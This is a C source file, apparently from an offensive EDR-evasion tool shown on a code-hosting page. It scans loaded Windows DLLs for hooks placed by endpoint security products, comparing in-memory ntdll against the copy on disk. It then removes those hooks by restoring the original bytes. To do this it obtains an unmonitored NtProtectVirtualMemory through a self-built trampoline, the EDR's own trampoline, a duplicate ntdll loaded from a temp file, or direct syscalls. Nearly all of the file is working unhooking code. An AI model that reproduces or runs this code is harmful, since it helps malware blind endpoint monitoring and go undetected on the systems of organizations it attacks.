if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
PATCH_DIFF* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
PATCH_DIFF* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
PATCH_DIFF patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
PATCH_DIFF lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
|
||||
if (unmonitoredNtProtectVirtualMemory == NULL) {
|
||||
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf_or_not("Unhook method does not exist, exiting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VirtualQuery(destination, &mbi, sizeof(mbi));
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
return NULL;
|
||||
}
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
PBYTE disk_dllContent = NULL;
|
||||
PE* diskDLL = NULL;
|
||||
PE* memDLL = NULL;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
if (disk_dllContent) {
|
||||
free(disk_dllContent);
|
||||
disk_dllContent = NULL;
|
||||
}
|
||||
if (memDLL) {
|
||||
PE_destroy(memDLL);
|
||||
memDLL = NULL;
|
||||
}
|
||||
if (diskDLL) {
|
||||
PE_destroy(diskDLL);
|
||||
diskDLL = NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (!memDLL || NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
if (NULL == diskDLL) {
|
||||
debugf("\tError : PE_create\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf_or_not(" ");
|
||||
}
|
||||
// TODO: Fix hooks resolver to identify dll
|
||||
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (hooksListTmp == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
printf_or_not("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (NULL == hooksListTmp) {
|
||||
printf_or_not("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
|
||||
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user